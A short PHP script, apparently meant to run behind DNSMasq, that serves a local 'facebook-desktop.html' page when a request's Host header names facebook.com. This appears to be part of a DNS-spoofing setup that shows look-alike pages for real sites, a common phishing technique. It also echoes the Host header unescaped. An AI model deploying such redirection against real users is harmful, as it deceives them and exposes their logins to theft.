PHP Redirection for DNSMasq

<?php
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

error_reporting(0);
$ref = strtolower ( $_SERVER['HTTP_HOST'] );

if (strpos($ref, "facebook.com") !== false) { include('facebook-desktop.html'); }
else if (strpos($ref, "example.com") !== false) { include('example.html'); }
else { echo $ref; }

?>